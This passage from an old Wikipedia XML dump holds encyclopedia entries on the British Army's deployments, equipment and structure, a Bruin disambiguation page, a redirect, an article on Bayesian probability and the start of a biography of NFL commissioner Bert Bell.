| [[Falkland Islands]] || [[1982]]- || An infantry company group and a Engineers Squadron || Constant occupation since [[1833]], except brief period in [[1982]] when [[Argentina]] invaded. Previously a platoon-sized [[Royal Marines]] Naval Party served as garrison. After 1982 the garrison was enlarged, and bolstered with an RAF base.
|-
| [[Germany]] || [[1945]]- || 1st (UK) Armoured Division as part of [[British Forces Germany]]||British forces remained in Germany after the end of [[World War II]]. Forces declined considerably after the end of the Cold War, although the lack of accommodation in the UK means forces will continue to be based in Germany.
|-
| [[Gibraltar]] || [[1704]]- || One infantry battalion || British Army garrison is provided by an indigenous regiment, the [[Royal Gibraltar Regiment]], which has been on the Army regular establishment since the last British regiment left in [[1991]]. 
|-
|[[Iraq]] || [[2003]]- || 8,500 troops|| As part of [[Operation Telic]] (Gulf War 2), the British Army participated in the invasion of Iraq. Following the decision for continued security operations, the UK commands the Multi-National Division (South-East) with a headquarters unit, National Support Element, and a combat brigade (at the moment 4 Armoured Brigade), along with troops from Italy, Norway, Romania, Denmark, the Netherlands, Czech Republic, Portugal, and Lithuania. A large number of [[Territorial Army]] soldiers have been used for a variety of tasks, both as individuals serving and as formed units.
|-
| [[Kenya]] || ||  British Army Training and Liaison Staff Kenya|| The Army has a training centre in Kenya, under agreement with the Kenyan government. It provides training facilities for three infantry battalions per year
|-
| [[Kosovo]] || [[1999]] || 3,500 troops|| After the [[Kosovo War]] in 1999, the British Army led the NATO deployment in Kosovo to restore peace to the province. Since then, the UK has withdrawn some forces, as other nations provided troops..

|-
| Rest of [[Middle East]] || [[1990]] || 3,700 troops ||Since the [[Gulf War]] 1 in 1991, the UK has had a considerable military presence in the Middle East. Besides Iraq, there are also an additional 3,500 troops in [[Saudi Arabia]] and [[Kuwait]], as well as regular training missions in [[Oman]].
|-
|  [[Sierra Leone]] || [[1999]] || around 100|| The British Army were deployed to Sierra Leone, a former British colony, in 1999 to aid the government in quelling violent uprisings by militiamen, under [[United Nations]] resolutions. Troops remain in the region to provide military support and training to the Sierra Leone government.

|-
|[[Northern Ireland]] ||[[1969]]- || 11,000 troops ||First deployed after communal violence broke out between [[Roman Catholic Church|Catholic]]s and [[Protestant]]s. They were initially welcomed by the Catholic community as a protection against Protestant mobs but most eventually came to oppose their continued presence, following internment without trial (that was used entirely on Catholics) and the events of [[Bloody Sunday (1972)|Bloody Sunday]], when members of the [[The Parachute Regiment|Parachute Regiment]] shot dead 14 unarmed civil rights marchers. The Army became involved in a conflict with the [[Provisional Irish Republican Army|PIRA]], smaller republican splinter groups and loyalist terrorists. 763 soldiers have been killed in Northern Ireland since 1969, mostly in [[Belfast]] and [[Armagh]]. Counter-terrorist experience in Northern Ireland later proved useful in Iraq.
|}

==Equipment==

===Firearms===
*[[P226]] [[Sig-Sauer]] Pistol
*[[Browning L9A1]] Pistol
*[[Heckler &amp; Koch MP5|MP5 Sub-Machine Gun]] 
*[[SA80|L85 A1 Carbine]]
*[[SA80#L85A2|L85 A2 Assault Rifle]]
*[[SA80#L86_Light_Support_Weapon|L86 Light Support Weapon]]
*[[L96|L96 Sniper Rifle]]
*[[Accuracy_International_AWM|L115A1 LRR Sniper Rifle]]
*[[L7 (machine gun)|L7 GPMG &quot;Gimpy&quot;]]
*[[British 2-inch mortar|2-inch Medium Mortar]]
*[[British 81 mm mortar|L16 81mm Mortar]]
*[[MILAN|MILAN Anti Tank Weapon]]
*[[LAW_80|LAW Anti Tank Weapon]]
*[[FGM-148 Javelin|FGM-148 Javelin Anti Tank Weapon]]

===Armour=== 
[[Image:FV 432-series armored personnel carrier.jpg|thumb|FV 432 in 1991]]
*[[Challenger 2]] - [[Main Battle Tank]]
*[[FV101 Scorpion]] - Armoured Combat Reconnaissance Vehicle
*[[FV107 Scimitar]] - Armoured Combat Reconnaissance Vehicle
*[[Sabre (tank)|Alvis Sabre]] - Armoured Combat Reconnaissance Vehicle
*[[Warrior Tracked Armoured Vehicle|Alvis Warrior]] - [[Infantry Fighting Vehicle]]
*[[Saxon (vehicle)|Alvis Saxon]] - [[Armoured Personnel Carrier]]
*[[FV103 Spartan]] - Armoured Personnel Carrier
*[[FV102 Striker]] - [[Anti-tank guided missile]] Carrier
*[[GKN plc|GKN]]  [[FV 432 AFV|FV 432]] - Armoured Personnel Carrier
*[[FV106 Samson]] - Armoured Mineclearer
*[[FV109 Workhorse]] - Armoured Personnel Carrier
*[[FV104 Samaritan|Alvis Samaritan]] - Armoured Ambulance
*[[FV105 Sultan]] - Command and Control Vehicle
*[[Combat Vehicle Reconnaissance (Tracked)|Alvis Streaker]] - High Mobility Carrier

===Logistics===

*[[Land Rover]] Truck Utility Light (TUL)
*Land Rover Truck Utility Medium (TUM)
*Land Rover Battlefield Ambulance (BFA)
*Alvis Supacat All Terrain Mobile Platform (ATMP)
*Hagglund BV206 
*[[Harley Davidson]] MT350E Motorcycle 
*[[Honda]] R250 Motorcycle
*[[Oshkosh]] Heavy Equipment Transporter (HET)
*[[Bedford Vehicles|Bedford]] 14 tonner
*[[Leyland Trucks|Leyland]] 4 tonner
*Bedford 8 tonner
*[[Pinzgauer High Mobility All-Terrain Vehicle|Pinzgauer]] 716M

===Artillery===
*[[M270 Multiple Launch Rocket System|MLRS]]
*[[BAE Systems Land Systems]] [[L118 Light Gun]]
*[[AS90]]
*[[FH-70|L121]]
*[[M110 howitzer|M110A2]]
*[[MBDA]] [[Rapier missile|Rapier Missile System]] 
*[[Starstreak|Starstreak High Velocity Missile]] 

===Aircraft===
*[[Westland Lynx]] Helicopter
*[[Westland Gazelle]] Helicopter
*[[Westland WAH-64 Apache]] Helicopter
*[[Bell 212]]
*[[Britten-Norman Islander]]

===Landing Craft=== 
*Alvis Mk 5 Assault Boat 
*Vickers Rigid Raider
*Vickers Ramped Landing Craft Logistic 
*Vickers Combat Support Boat 
*Vickers Landing Craft Vehicle
*Vickers Mexeflote

==Formation and structure==
'' See main article:  [[Structure of the British Army]]''

The structure of the British Army is complex, due to the
different [[British Army|origins]] of its various constituent parts.  
In terms of the nature of its servicemen, it is divided into the '''Regular Army''' (full-time professional soldiers) and the '''[[Territorial Army]]''' (part-time paid soldiers). In terms of its military structure it is divided into [[corps]] (administrative groupings by common function), and [[division (military)|divisions]] and [[brigade]]s (large [[formation]]s, somewhat fluid in nature).

The [[regiment]] is in some respects the most important unit of the British
Army. It is the largest &quot;permanent&quot; tactical unit in most corps, although it is only an administrative and ceremonial grouping of [[battalion]]s in the [[infantry]]. Typically, a regiment or battalion consists of around 700 soldiers and is commanded by a [[Lieutenant Colonel]]. Many infantry regiments today consist of only one regular battalion, although many also contain another Territorial Army battalion.

*[[Brigade]]
**[[battalion]] or [[regiment]] commanded by a Lieutenant Colonel
** [[Company (military unit)|Company]] (or [[Squadron]]) of about 100 soldiers, commanded by a [[Major]]. 
*** [[Platoon]] (or [[Troop]]) of about 30 soldiers, commanded by a [[Lieutenant]]
**** [[Section (military unit)|Section]] of about 8 soldiers, commanded by a [[Corporal]]

Sections can be subdivided into two fire teams for tactical purposes.
===Battlegroups===
The main tactical formation in the British Army is the [[battlegroup (army)|battlegroup]]. This is a mixed formation of armour, infantry, artillery, engineers and support units, and is structured according to whatever task it is called on to perform ; it is formed around the core of either an armoured regiment or infantry battalion, and has other units added or removed from it as necessary. A battlegroup will typically consist of between 600 and 700 soldiers under the command of a Lt. Colonel.

===Recruitment===

[[Image:ArmyCareersOxford20051022 CopyrightKaihsuTai.jpg|thumb|right|A [[British armed forces]] - including British Army - [[recruitment]] centre in [[Oxford]].]] 

The Army mainly recruits within the United Kingdom, and normally has a recruitment target of around 25,000 soldiers per year. Low unemployment in Britain has resulted in the Army having difficulty in meeting its target, and in the early years of the 21st century there has been a marked increase in the number of recruits from other (mostly [[Commonwealth of Nations|Commonwealth]]) countries, who as of mid-2004 comprised approximately 7.5% of the Army's total strength. In July 2004 there were 5,620 foreign soldiers from 42 countries in the Army (not counting over 3,000 [[Nepal]]ese [[Gurkha]]s). After Nepal, the nation with most citizens in the British Army is [[Fiji]], with 1,895, followed by [[Jamaica]] with 960; soldiers also come from more prosperous countries such as [[Australia]] and [[South Africa]].

In 2003, nearly 10,000 teenagers joined the army, including more than 3000 16-year-olds.[http://www.newstatesman.com/200412060006.htm]

==Oath of Allegiance==

All soldiers must take an oath of allegiance on joining the Army: this is known as &quot;attestation&quot;. Those who believe in God use the following words:

:''I swear by Almighty God that I will be faithful and bear true allegiance to Her Majesty Queen Elizabeth II, her heirs and successors and that I will as in duty bound honestly and faithfully defend Her Majesty, her heirs and successors in person, crown and dignity against all enemies and will observe and obey all orders of Her Majesty, her heirs and successors and of the generals and officers set over me.'' [http://www.army.mod.uk/servingsoldier/usefulinfo/valuesgeneral/adp5milcov/ss_hrpers_values_adp5_3_w.html#selfless]

Others replace the words &quot;swear by Almighty God&quot; with &quot;solemnly, sincerely and truly declare and affirm&quot;.

==Flags and ensigns==
[[image:Army_Flag.gif|thumb|250px|The non-ceremonial flag of the British Army. Sometimes the word &quot;Army&quot; in gold letters appears below the badge.]]
The British Army does not have its own specific ensign, unlike the Royal Navy, which uses the [[White Ensign]], and the RAF, which uses the [[Royal Air Force Ensign]]. Instead, the Army has different flags and ensigns, for the entire army and the different regiments and corps. The official flag of the Army as a whole is the [[Union Flag]], flown at ratio 3:5. A non-ceremonial flag also exists, which is used at recruiting events, military events and exhibitions. Whilst at war, the Union Flag is always used, and this flag represents the Army on the [[Cenotaph]] in [[Whitehall]], [[London]] (the UK's memorial to war dead). A British Army ensign also exists for vessels commanded by a commissioned officer, the [[Blue Ensign]] defaced with the Army badge. However, there are currently no commissioned vessels in the Army. 

Each line regiment (except the Rifle Regiments) also has its own flags, known as [[Colours, standards and guidons|the Colours]] - the Regimental Colour and the Queen's Colour. These colours have been taken into batle in the past and serve as a great sense of pride to the regiment. There is great variation in the different regimental colours. Typically the colour has the regiment's badge in the centre.

==Ranks and insignia==
&lt;!--Do not subst the template(s)--&gt;
{| style=&quot;border:1px solid #8888aa; background-color:#f7f8ff; padding:5px; font-size:95%; margin: 0px 12px 12px 0px;&quot;
{{Ranks and Insignia of NATO/Army/Blank}}
{{Ranks and Insignia of NATO/Army/United Kingdom}}
|- align = center
|Abbreviation||FM||Gen.||Lt-Gen.||Maj-Gen.||Brig.||Col.||Lt-Col.||Maj.||Capt.||Lt.||2nd Lt.
|-
|colspan = 5|
* &lt;sup&gt;1&lt;/sup&gt; Now an honorary or wartime rank only.

|}
{| style=&quot;border:1px solid #8888aa; background-color:#f7f8ff; padding:5px; font-size:95%; margin: 0px 12px 12px 0px;&quot;
{{Ranks and Insignia of NATO Armies/OR/Blank}}
{{Ranks and Insignia of NATO Armies/OR/United Kingdom}}
|}

Every regiment and corps has its own distinctive insignia, such as [[cap badge]], [[beret]] and [[stable belt]].

==See also==
*[[British military history]]
*[[British Army Casualties during Operation TELIC]]
*[[UK topics]]

==External links==
{{commonscat|British Army}}
* [http://www.army.mod.uk/ British Army Website]
* [http://www.1914-1918.net/ The British Army in the Great War]
* [http://www.arrse.co.uk/ The British Army Rumour Service - an unofficial site for news, gossip and discussion.]
* [http://web2.airmail.net/napoleon/foreigners_British_army.htm British Army during the Napoleonic Wars]
* Tom Wall, ''[[New Statesman]]'', [[6 December]] [[2004]], [http://www.newstatesman.com/200412060006.htm &quot;Our boy soldiers&quot;]
*[http://www.royalmagazine.net/ Women in the armed forces]

 

{{British Military}}

[[Category:British Army| ]]

[[de:British Army]]
[[es:Ejército Británico]]
[[fr:British Army]]
[[no:British Army]]
[[sv:Brittiska armén]]</text>
    </revision>
  </page>
  <page>
    <title>Bruin</title>
    <id>4888</id>
    <revision>
      <id>40385931</id>
      <timestamp>2006-02-20T05:03:10Z</timestamp>
      <contributor>
        <username>X-Flare-x</username>
        <id>667374</id>
      </contributor>
      <comment>linked to Archaic</comment>
      <text xml:space="preserve">'''Bruin''' is a name for the [[brown bear]] (''Ursos arctos''), or for any [[bear]], usually poetically or [[Archaic|archaically]].

The word entered the [[English language]] via [[William Caxton]]'s [[1485]] translation of a [[Flemish (linguistics)|Flemish]] version of the legend of [[Reynard|Reynard the Fox]]. ''Bruin'' is the bear, named for his color; the [[Middle Dutch]] word for brown is ''bruun''.

It is a popular [[nickname]] and [[mascot]] in sports. Some teams using this name include

''Professional sports''
* [[Boston Bruins]], [[National Hockey League]]
* [[Providence Bruins]], [[American Hockey League]]

''Collegiate sports''
* [[Belmont University]]
* [[Bellevue University]]
* [[Bethany College (California)]]
* [[University of California, Los Angeles]] (UCLA)
* [[George Fox University]]

''High school sports''
* [[Twin Falls High School|Twin Falls High School (Idaho)]]

*[[Bruin, Pennsylvania]] is a borough of [[Butler County, Pennsylvania]] in the [[United States]].

*'''BRUIN''' is an [[acronym]] for [[Brown University Interactive Language|&lt;b&gt;BR&lt;/b&gt;own &lt;b&gt;U&lt;/b&gt;niversity &lt;b&gt;IN&lt;/b&gt;teractive Language]], a [[programming language]] developed at [[Brown University]] for the [[IBM]] [[System/360]].

*BRUIN was also the name of the [[British Army]]'s tactical communications system deployed in northwestern [[Europe]] from the [[1960s]] to [[1985]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Big rig</title>
    <id>4889</id>
    <revision>
      <id>15903139</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Semi-trailer]]
</text>
    </revision>
  </page>
  <page>
    <title>Bayesian probability</title>
    <id>4890</id>
    <revision>
      <id>40788240</id>
      <timestamp>2006-02-23T00:46:22Z</timestamp>
      <contributor>
        <ip>67.52.43.206</ip>
      </contributor>
      <comment>/* Applications of Bayesian probability */</comment>
      <text xml:space="preserve">In the [[philosophy of mathematics]] '''Bayesianism''' is the tenet that the [[mathematics|mathematical]] theory of [[probability]] is applicable to the degree to which a person believes a [[proposition]].  
Bayesians also hold that [[Bayes' theorem]] can be used as the basis for a rule for updating beliefs in the light of new information &amp;mdash;such updating is known as ''[[Bayesian inference]].''
In this sense, Bayesianism is an application of the probability [[calculus]] and a [[probability interpretations|probability interpretation]] of the term ''probable'', or &amp;mdash;as it is usually put &amp;mdash;an ''interpretation of probability''.

== Controversy ==
A quite different interpretation of the term ''probable'' has been developed by [[Frequency probability|frequentists]]. In this interpretation, what are ''probable'' are not propositions entertained by believers, but events considered as members of collectives to which the tools of statistical analysis can be applied.

The Bayesian interpretation of probability allows probabilities to be assigned to all propositions (or, in some formulations, to the events signified by those propositions) independently of any reference class within which purported facts can be thought to have a [[relative frequency]]. Although Bayesian probability is not relative to a reference class, it is relative to the subject: it is not inconsistent for different persons to assign different Bayesian probabilities to the same proposition.  For this reason Bayesian probabilities are sometimes called ''personal probabilities'' (although there are theories of personal probability which lack some features that have come to be identified with Bayesianism).

Although there is no reason why different interpretations (senses) of a word cannot be used in different contexts, there is a history of antagonism between Bayesians and frequentists, with the latter often rejecting the Bayesian interpretation as ill-grounded.  The groups have also disagreed about which of the two senses reflects what is commonly meant by the term 'probable'.

To illustrate, whereas both a frequency probability and a Bayesian probability (of, e.g., 0.5) could be assigned to the proposition that the next tossed coin will land heads, only a Bayesian probability could be assigned to the proposition, entertained by a particular person, that there was life on Mars a billion years ago—because this assertion is made without reference to any population relative to which the [[relative frequency]] could be defined.

== History of Bayesian probability ==

[[image:Thomasbayes.jpg|thumb|right|Thomas Bayes. (The correct identification of this portrait has been [http://www.york.ac.uk/depts/maths/histstat/bayespic.htm questioned].)]]
&quot;Bayesian&quot; probability or &quot;Bayesian&quot; theory is named after [[Thomas Bayes]] (1701? — 1761), who proved a special case of what is called [[Bayes' theorem]]. The term ''Bayesian'', however, came into use only around [[1950]], and in fact it is not clear that Bayes would have endorsed the very broad interpretation of probability now called &quot;Bayesian.&quot; [[Pierre-Simon Laplace|Laplace]] independently proved a more general version of Bayes' theorem and put it to good use in solving problems in celestial mechanics, medical statistics and, by some accounts, even [[jurisprudence]]. Laplace, however, didn't consider this theorem to be of fundamental philosophical importance for probability theory. He endorsed the [[classical definition of probability|classical interpretation]] of probability, as did everyone else at his time. 

The application of probability calculus to subjective belief which later became an important aspect of the &quot;Bayesian&quot; approach was proposed for the first time by the philosopher [[Frank P. Ramsey]] in his book ''The Foundations of Mathematics'' from 1931. Ramsey himself saw this interpretation as merely a complement to a [[frequency probability|frequency interpretation]] of probability. The one taking this interpretation seriously for the first time was the statistician [[Bruno de Finetti]] in 1937. The first detailed theory came in 1954 in the book ''The Foundations of Statistics'' by the mathematician and statistician [[Leonard Jimmie Savage|L. J. Savage]].

Bayesian probability is a measure of the degree of belief a person has in some proposition. Several attempts have been made to operationalize the intuitive notion of a &quot;degree of belief&quot;. The most common approach is based on [[Gambling|betting]]: a degree of belief is reflected in the odds and stakes that the subject is willing to bet on the proposition in question.

When beliefs have degrees, the theorems of the probability calculus become criteria for the rationality of sets of beliefs in the same way that the theorems of first order logic are criteria for the rationality of sets of beliefs. Many authors regard degrees of belief as extensions of the classical truth values (true and false).

The Bayesian approach has been explored by [[Harold Jeffreys]], [[Richard Threlkeld Cox|Richard T. Cox]], [[Edwin Thompson Jaynes|Edwin Jaynes]] and [[I. J. Good]]. Other well-known proponents of Bayesian probability have included [[John Maynard Keynes]] and [[B.O. Koopman]].

==Varieties of Bayesian probability==

The terms ''subjective probability'', ''personal probability'', ''epistemic probability'' and ''logical probability'' describe some of the schools of thought which are customarily called &quot;Bayesian&quot;.  These overlap but there are differences of emphasis.  Some of the people mentioned here would not call themselves Bayesians.

Bayesian probability is supposed to measure the degree of belief an individual has in an uncertain proposition, and is in that respect subjective.
Some people who call themselves Bayesians do not accept this subjectivity. The chief exponents of this ''objectivist'' school were [[Edwin Thompson Jaynes]] and [[Harold Jeffreys]].  Perhaps the main objectivist Bayesian now living is James Berger of Duke University.  Jose Bernardo and others accept some degree of subjectivity but believe a need exists for &quot;[[reference priors]]&quot; in many practical situations.

Advocates of '''logical (or objective epistemic) probability''', such as [[Harold Jeffreys]], [[Rudolf Carnap]], [[Richard Threlkeld Cox]] and [[Edwin Thompson Jaynes|Edwin Jaynes]],  hope to codify techniques whereby any two persons having the same information relevant to the truth of an uncertain proposition would calculate the same probability.  Such probabilities are not relative to the person but to the epistemic situation, and thus lie somewhere between subjective and objective. However, the methods proposed are controversial.  Critics challenge the claim that there are grounds for preferring one degree of belief over another in the absence of information about the facts to which those beliefs refer.  Another problem is that the techniques developed so far are inadequate for dealing with realistic cases.

==Bayesian and frequentist probability==

The Bayesian approach is in contrast to the concept of ''[[frequency probability]]'' where probability is held to be derived from observed or defined frequency distributions or proportions of populations, with the usefulness of probability narrowly limited to such scenarios.  The difference has many implications for the methods by which [[statistics]] is practiced when following one model or the other, and also for the way in which conclusions are expressed.  

For example, Laplace estimated the mass of Saturn using Bayesian methods. However, on the frequency interpretation of probability the [[Probability theory|laws of probability]] cannot be applied to this problem. This is because the mass of Saturn isn't a well defined random experiment or sample. From what population is the mass of Saturn taken? In what sense is Saturn picked at random from that population?  Similarly, when comparing two hypotheses and using the same information, frequency methods would typically result in the rejection or non-rejection of the original hypothesis with a particular degree of [[Confidence interval|confidence]], while Bayesian methods would yield statements that one hypothesis was more probable than the other or that the expected loss associated with one was less than the expected loss of the other.

The rejection of the classical notion of probability, and the development of the theory of statistics and probability based narrowly on the [[Frequency probability|frequency interpretation]] was pursued by some of the most influential figures in statistics during the first half of the twentieth century, including [[Ronald A. Fisher|R.A. Fisher]], [[Egon Pearson]] and [[Jerzy Neyman]]. At the same time, the mathematical foundation of probability in measure theory via the [[Lebesgue integration|Lebesgue integral]] was elucidated by [[A. N. Kolmogorov]] in the book ''Foundations of the Theory of Probability'' in [[1933]]. In the years to [[1950]] these two approaches almost completely eclipsed the previous broader classical interpretation.  However since that time, and continuing into the present day, the work of Savage, Koopman, [[Abraham Wald]], and others, has led to renewed broader acceptance of the alternative, Bayesian point of view.

== Applications of Bayesian probability ==

Today, there are a variety of applications of Bayesian probability that have gained wide acceptance.  Some schools of thought emphasise [[Cox's theorem]] and Jaynes' [[principle of maximum entropy]] as cornerstones of the theory, others (e.g., Ramsey, di Finetti) approach it from the point of view of a [[Dutch book|Dutch book argument]], still others may claim that Bayesian methods are more general and give better results in practice than [[frequency probability]]. See [[Bayesian inference]] for applications and [[Bayes' theorem|Bayes' Theorem]] for the mathematics.

Some philosophers of science regard [[Bayesian inference]] as a model of the [[scientific method]]. That is, updating probabilities via [[Bayes' theorem]] is similar to the scientific method insofar as one starts with an initial set of beliefs about the relative plausibility of various [[hypothesis|hypotheses]], collects new information (for example by conducting an [[experiment]]), and then adjusts the original set of beliefs in the light of the new information to produce a more refined set of beliefs. However, this view is controversial. Similarly, [[Bayes factor]]s have been employed in discussions of [[Occam's Razor]].

Bayesian techniques have recently been applied to filter out [[e-mail spam]]. A Bayesian spam filter uses a reference set of emails identified by the user as spam to identify common features of spam emails. The filter then uses the identified features to discriminate between spam and legitimate email. See [[Bayesian inference]] and [[Bayesian filtering]].

==Probabilities of probabilities==
One criticism levelled at the Bayesian probability interpretation has been that a single probability assignment cannot convey how well grounded the belief is—i.e., how much [[evidence]] one has. Consider the following situations:
#You have a box with white and black balls, but no knowledge as to the quantities 
#You have a box from which you have drawn ''n'' balls, half black and the rest white
#You have a box and you know that there are the same number of white and black balls
The Bayesian probability of ''the next ball drawn is black'' is 0.5 all three cases.  To reflect difference in evidential support one can assign probabilities to these probabilities (so-called ''metaprobabilities'') in the following manner:

:1. You have a box with white and black balls, but no knowledge as to the quantities

::Letting &lt;math&gt;\theta = p&lt;/math&gt; represent the statement that the probability that the next ball is black is &lt;math&gt;p&lt;/math&gt;, a Bayesian might assign a uniform Beta prior distribution: 
::&lt;math&gt;\forall \theta \in [0,1]&lt;/math&gt;
::&lt;math&gt;P(\theta) = \Beta(\alpha_B=1,\alpha_W=1) = \frac{\Gamma(\alpha_B + \alpha_W)}{\Gamma(\alpha_B)\Gamma(\alpha_W)}\theta^{\alpha_B-1}(1-\theta)^{\alpha_W-1} = \frac{\Gamma(2)}{\Gamma(1)\Gamma(1)}\theta^0(1-\theta)^0=1&lt;/math&gt;

::Assuming that the ball drawing is modelled as a binomial sampling distribution, the posterior distribution, &lt;math&gt;P(\theta|m,n)&lt;/math&gt;, after drawing ''m'' additional black balls and ''n'' white balls is still a Beta distribution, with parameters &lt;math&gt;\alpha_B=1+m&lt;/math&gt;, &lt;math&gt;\alpha_W=1+n&lt;/math&gt;.  An intuitive interpretation of the parameters of a Beta distribution is that of ''imagined counts'' for the two events.  For more information, see [[Beta distribution]]. 

:2. You have a box from which you have drawn N balls, half black and the rest white

::Letting &lt;math&gt;\theta = p&lt;/math&gt; represent the statement that the probability that the next ball is black is &lt;math&gt;p&lt;/math&gt;, a Bayesian might assign a Beta prior distribution, &lt;math&gt;\Beta(N/2+1,N/2+1)&lt;/math&gt;.  The maximum aposteriori (MAP) estimate of &lt;math&gt;\theta&lt;/math&gt; is &lt;math&gt;\theta_{MAP}=\frac{N/2+1}{N+2}&lt;/math&gt;, precisely Laplace's rule of succession.

:3. You have a box and you know that there are the same number of white and black balls

::In this case a Bayesian would define the prior probability &lt;math&gt;P(\Theta)=\delta(\frac{1}{2})&lt;/math&gt;.   

Because there is no room for metaprobabilities on the frequency interpretation, frequentists have had to find different ways of representing difference of evidential support. [[Cedric Smith]] and [[Arthur Dempster (mathematician)|Arthur Dempster]] each developed a theory of [[upper and lower probabilities]]. [[Glenn Shafer]] developed Dempster's theory further, and it is now known as  [[Dempster-Shafer theory]].

== See also ==

* [[Frequency probability]]
* [[Uncertainty]]
* [[Inference]]
* [[Bayesian inference]]
* [[Doomsday argument]] for a controversial use of Bayesian inference
* [[MaxEnt thermodynamics]] - Bayesian view of thermodynamics

== External links and references ==
* [http://www.inference.phy.cam.ac.uk/mackay/itila/book.html On-line textbook: Information Theory, Inference, and Learning Algorithms], by David MacKay, has many chapters on Bayesian methods, including introductory examples; arguments in favour of Bayesian methods (in the style of [[Edwin Thompson Jaynes|Edwin Jaynes]]); state-of-the-art [[Monte Carlo method]]s, [[message-passing method]]s, and [[Calculus of variations|variational methods]]; and examples illustrating the intimate connections between Bayesian inference and [[data compression]].
* Jaynes, E.T. (1998) [http://www-biba.inrialpes.fr/Jaynes/prob.html ''Probability Theory : The Logic of Science''].
* Bretthorst, G. Larry, 1988, [http://bayes.wustl.edu/glb/book.pdf ''Bayesian Spectrum Analysis and Parameter Estimation''] in Lecture Notes in Statistics, 48, Springer-Verlag, New York, New York;
* http://www-groups.dcs.st-andrews.ac.uk/history/Mathematicians/Ramsey.html
* David Howie: ''Interpreting Probability, Controversies and Developments in the  Early Twentieth Century'', Cambridge University Press, 2002, ISBN 0521812518
* Colin Howson and Peter Urbach: ''Scientific Reasoning: The Bayesian Approach'', Open Court Publishing, 2nd edition, 1993, ISBN 0812692357, focuses on the philosophical underpinnings of Bayesian and frequentist statistics.  Argues for the subjective interpretation of probability.
* Jeff Miller [http://members.aol.com/jeff570/b.html &quot;Earliest Known Uses of Some of the Words of Mathematics (B)&quot;]
* James Franklin [http://www.press.jhu.edu/books/title_pages/2844.html The Science of Conjecture: Evidence and Probability Before Pascal], history from a Bayesian point of view.
* Paul Graham [http://www.paulgraham.com/better.html &quot;Bayesian spam filtering&quot;] [[Category:Probability and statistics]]
* novomind AG [http://www.imaillight.com/ &quot;Outlook categorizing tool based on Bayesian filtering&quot;]
* Howard Raiffa ''Decision Analysis: Introductory Lectures on Choices under Uncertainty''. McGraw Hill, College Custom Series. (1997) ISBN 007-052579-X
* Devender Sivia, ''Data Analysis: A Bayesian Tutorial''. Oxford: Clarendon Press (1996), pp. 7-8. ISBN 0-19-851889-7
* Henk Tijms: ''Understanding Probability'', Cambridge University Press, 2004
* Is the portrait of Thomas Bayes authentic? [http://www.york.ac.uk/depts/maths/histstat/bayespic.htm Who Is this gentleman? When and where was he born?] ''The IMS Bulletin'', Vol. '''17''' (1988), No. 3, pp. 276-278

[[de:Bayesscher Wahrscheinlichkeitsbegriff]]
[[fr: Inférence bayésienne]]
[[pl:Prawdopodobie&amp;#324;stwo subiektywne]]
[[th:&amp;#3607;&amp;#3620;&amp;#3625;&amp;#3598;&amp;#3637;&amp;#3588;&amp;#3623;&amp;#3634;&amp;#3617;&amp;#3609;&amp;#3656;&amp;#3634;&amp;#3592;&amp;#3632;&amp;#3648;&amp;#3611;&amp;#3655;&amp;#3609;&amp;#3649;&amp;#3610;&amp;#3610;&amp;#3648;&amp;#3610;&amp;#3618;&amp;#3660;]]</text>
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  </page>
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    <title>Ballet dance</title>
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  </page>
  <page>
    <title>Bert Bell</title>
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      <text xml:space="preserve">[[Image: 01110_3265.jpg|right|300px]] 
'''DeBenneville (Bert) Bell''' ([[February 25]], [[1895]]-[[October 11]], [[1959]]) was co-founder (with [[Lud Wray]]--a former college teammate) of the [[Frankford Yellow Jackets]] in [[1924]] (whose name was changed to the [[Philadelphia Eagles]] in [[1933]]), and commissioner of the [[National Football League]] from [[1946]] until his death. 

Bell grew up in a prominent [[Philadelphia]] family, the son of [[John Cromwell Bell]], [[Pennsylvania]]'s [[attorney general]].  Once commenting on his son's plans for college, the elder Bell said, &quot;Bert will go to Penn (the [[University of Pennsylvania]]) or he will go to hell.&quot; While there, Bell played quarterback for the Quakers' football team, a stretch that was interrupted by [[World War I]] service at the Mobile Hospital Unit in [[France]].

After graduating, Bell served as backfield coach at his alma mater from [[1920]] to [[1928]], then held the same position for two years at Temple University in [[1930]] and [[1931]]. In [[1933]], he became co-owner of the Eagles for $2,500.

On [[May 6]], [[1934]], he married Broadway actress Frances Upton. They would have three children (sons Bert, Jr. and Upton, and daughter Jane). 

Taking the approach of making the overall league stronger, Bell was credited with establishing the [[NFL draft]] in [[1935]]. By [[1937]], the Eagles had lost $90,000 and were put up for public auction. Bell became sole owner with a winning bid of $4,500, but after continuing financial struggles, he became co-owner of the [[Pittsburgh Steelers]] with his friend [[Art Rooney]] in a bizarre transaction in which Rooney sold the Steelers to Philadelphia businessman [[Alexis Thompson]], who then traded franchises with Bell. By [[1943]], a wartime manpower shortage led the Steelers and Eagles to temporarily merge into the &quot;Pennsylvania Steagles&quot; (officially known as &quot;Phil-Pitt&quot;).  The following year, the Steelers merged with the [[Arizona Cardinals|Chicago Cardinals]].

On [[January 11]], [[1946]], Bell was selected to replace [[Elmer Layden]] as NFL commissioner and subsequently sold his ownership in the Steelers after being given a three-year contract at $25,000 per year. One year later, the contract was changed to a five-year pact at the same salary, a move that was followed in [[1949]] by a ten-year agreement that boosted his annual pay to $30,000. 

Among his accomplishments as commissioner, Bell merged the league with the [[All-America Football Conference]], developed the league's relationship with the new medium of [[television]], and did battle with the [[Canadian Football League]] over scheduling and player rights. One of his first major acts dealt with a gambling scandal that marred the [[1946]] [[NFL Championship game]].  In response, he was able to create laws in virtually every state that made it a crime for athletes not to report a bribe attempt.  In addition to all these duties, Bell also single-handedly plotted out league schedules each season on his dining-room table by using a giant checkerboard. 

He died of a heart attack on [[October 11]], [[1959]] at [[Philadelphia]]'s [[Franklin Field]], while watching a game between the team he co-founded, the Eagles, and the [[Pittsburgh Steelers]], which he briefly co-owned during [[World War II]].  Bell had been under a doctor's care for two years and had recovered from a [[heart attack]] the previous [[February]].  

He coined the phrase, &quot;On any given Sunday, any team can beat any other team.&quot;  The Bert Bell Benefit Bowl, colloquially referred to as the [[Playoff Bowl]] and first played in [[1960]] (the year after Bell's death), was named for him. Bell's older brother, [[John C. Bell, Jr.]], was governor of Pennsylvania from January 2, 1947 to January 21, 1947.

He was inducted into the [[Pro Football Hall of Fame]] in [[1963]].

{{start box}}
